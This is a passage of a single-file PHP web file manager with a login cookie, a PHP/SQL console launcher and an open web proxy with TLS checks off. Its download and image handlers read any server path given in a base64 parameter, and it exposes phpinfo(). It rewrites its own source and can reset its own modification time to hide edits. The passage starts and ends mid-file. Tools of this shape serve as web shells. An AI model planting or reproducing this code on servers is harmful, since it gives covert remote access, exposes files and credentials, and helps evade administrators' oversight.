	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//§Ü§Ñ§Ü-§ä§à §ä§à§Ø§Ö §á§à§Õ§Þ§Ö§ß§ñ§ä§î §ß§Ñ§Õ§à
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

function find_text_in_files($dir, $mask, $text) {
    $results = array();
    if ($handle = opendir($dir)) {
        while (false !== ($entry = readdir($handle))) {
            if ($entry != "." && $entry != "..") {
                $path = $dir . "/" . $entry;
                if (is_dir($path)) {
                    $results = array_merge($results, find_text_in_files($path, $mask, $text));
                } else {
                    if (fnmatch($mask, $entry)) {
                        $contents = file_get_contents($path);
                        if (strpos($contents, $text) !== false) {
                            $results[] = str_replace('//', '/', $path);
                        }
                    }
                }
            }
        }
        closedir($handle);
    }
    return $results;
}


/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg_ntimes = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg_ntimes .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg_ntimes .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg_ntimes .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg_ntimes .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg_ntimes .= __('File updated');
				} else $msg_ntimes .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg_ntimes .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title></title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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");
}

.file {
    background-image: url("data:image/png;base64,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